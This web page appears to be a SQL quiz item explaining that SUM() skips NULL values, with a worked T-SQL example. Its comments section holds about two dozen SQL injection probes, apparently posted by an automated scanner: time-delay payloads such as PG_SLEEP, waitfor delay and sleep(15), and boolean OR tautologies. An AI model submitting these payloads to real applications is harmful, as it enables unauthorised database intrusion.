What is a result of the query below for table with 10 rows when there are 2 clients with the headcount column having a NULL value, there are 7 customers with 1 head and 1 customer with 2 heads?

SELECT SUM(headcount) FROM clients

/*

ClientId HeadCount
1 1
2 NULL
3 1
4 2
5 1
6 NULL
7 1
8 1
9 1
10 1

 

*/

Experience Level: Medior
Tags: DatabasesSQL

Answer

Explanation

The result is 9 because if you use SUM(column), only rows with NOT NULL value in the column are summed.

Example

DECLARE @clients TABLE (headcount INT, name NVARCHAR(50))

INSERT INTO @clients (headcount, name) VALUES (1, '1 Peter Johnson')
INSERT INTO @clients (headcount, name) VALUES (1, '2 Peter Johnson')
INSERT INTO @clients (headcount, name) VALUES (1, '3 Peter Johnson')
INSERT INTO @clients (headcount, name) VALUES (1, '4 Peter Johnson')
INSERT INTO @clients (headcount, name) VALUES (1, '5 Peter Johnson')
INSERT INTO @clients (headcount, name) VALUES (2, '6 Peter Johnson')
INSERT INTO @clients (headcount, name) VALUES (1, '7 Peter Johnson')
INSERT INTO @clients (headcount, name) VALUES (1, '8 Peter Johnson')
INSERT INTO @clients (headcount, name) VALUES (NULL, NULL)
INSERT INTO @clients (headcount, name) VALUES (NULL, NULL)

SELECT SUM(headcount) FROM @clients
-- Returns 9, because rows with NULL values are ignored

Comments

No Comments Yet.
Be the first to tell us what you think.

Chat

Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.

Comments

RiceHawk18
e
RiceHawk18
@@xeDO0
RiceHawk18
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
RiceHawk18
e